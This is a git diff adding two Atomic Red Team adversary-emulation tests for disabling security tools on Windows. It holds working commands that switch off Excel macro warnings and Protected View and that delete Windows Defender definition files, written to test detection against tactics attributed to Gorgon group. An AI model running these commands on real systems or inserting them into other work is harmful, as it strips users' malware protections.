diff --git a/atomics/T1089/T1089.md b/atomics/T1089/T1089.md
index 3f597946..54708cfd 100644
--- a/atomics/T1089/T1089.md
+++ b/atomics/T1089/T1089.md
@@ -40,6 +40,10 @@
- [Atomic Test #18 - Tamper with Windows Defender Registry](#atomic-test-18---tamper-with-windows-defender-registry)
+- [Atomic Test #19 - Disable Microft Office Security Features](#atomic-test-19---disable-microft-office-security-features)
+
+- [Atomic Test #20 - Remove Windows Defender Definition Files](#atomic-test-20---remove-windows-defender-definition-files)
+
@@ -544,4 +548,58 @@ Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name Disa
+
+
+
+## Atomic Test #19 - Disable Microft Office Security Features
+Gorgon group may disable Office security features so that their code can run
+https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
+
+**Supported Platforms:** Windows
+
+
+
+#### Attack Commands: Run with `powershell`!
+```
+New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
+New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
+New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
+New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword"
+New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword"
+New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword"
+New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword"
+```
+
+#### Cleanup Commands:
+```
+Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings"
+Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
+```
+
+
+
+
+
+
+
+
+## Atomic Test #20 - Remove Windows Defender Definition Files
+Removing definition files would cause ATP to not fire for AntiMalware
+Check MpCmdRun.exe man page for info on all arguments
+https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
+
+**Supported Platforms:** Windows
+
+
+
+#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)
+```
+"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
+```
+
+
+
+
+
+
diff --git a/atomics/index.md b/atomics/index.md
index ba16af79..30917c2b 100644
--- a/atomics/index.md
+++ b/atomics/index.md
@@ -215,6 +215,8 @@
- Atomic Test #16: Tamper with Windows Defender ATP PowerShell [windows]
- Atomic Test #17: Tamper with Windows Defender Command Prompt [windows]
- Atomic Test #18: Tamper with Windows Defender Registry [windows]
+ - Atomic Test #19: Disable Microft Office Security Features [windows]
+ - Atomic Test #20: Remove Windows Defender Definition Files [windows]
- T1480 Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
diff --git a/atomics/index.yaml b/atomics/index.yaml
index 175a21dc..e4323de6 100644
--- a/atomics/index.yaml
+++ b/atomics/index.yaml
@@ -7201,6 +7201,40 @@ defense-evasion:
cleanup_command: 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows
Defender" -Name DisableAntiSpyware -Value 0
+'
+ - name: Disable Microft Office Security Features
+ description: |
+ Gorgon group may disable Office security features so that their code can run
+ https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
+ supported_platforms:
+ - windows
+ executor:
+ name: powershell
+ elevation_required: false
+ command: |
+ New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel"
+ New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security"
+ New-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
+ New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -Value "1" -PropertyType "Dword"
+ New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableInternetFilesInPV" -Value "1" -PropertyType "Dword"
+ New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableUnsafeLocationsInPV" -Value "1" -PropertyType "Dword"
+ New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -Name "DisableAttachementsInPV" -Value "1" -PropertyType "Dword"
+ cleanup_command: |
+ Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings"
+ Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView"
+ - name: Remove Windows Defender Definition Files
+ description: |
+ Removing definition files would cause ATP to not fire for AntiMalware
+ Check MpCmdRun.exe man page for info on all arguments
+ https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
+ supported_platforms:
+ - windows
+ executor:
+ name: command_prompt
+ elevation_required: true
+ command: '"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions
+ -All
+
'
T1107:
technique:
diff --git a/atomics/windows-index.md b/atomics/windows-index.md
index 5fa5dce3..d048ea07 100644
--- a/atomics/windows-index.md
+++ b/atomics/windows-index.md
@@ -50,6 +50,8 @@
- Atomic Test #16: Tamper with Windows Defender ATP PowerShell [windows]
- Atomic Test #17: Tamper with Windows Defender Command Prompt [windows]
- Atomic Test #18: Tamper with Windows Defender Registry [windows]
+ - Atomic Test #19: Disable Microft Office Security Features [windows]
+ - Atomic Test #20: Remove Windows Defender Definition Files [windows]
- T1480 Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
- T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)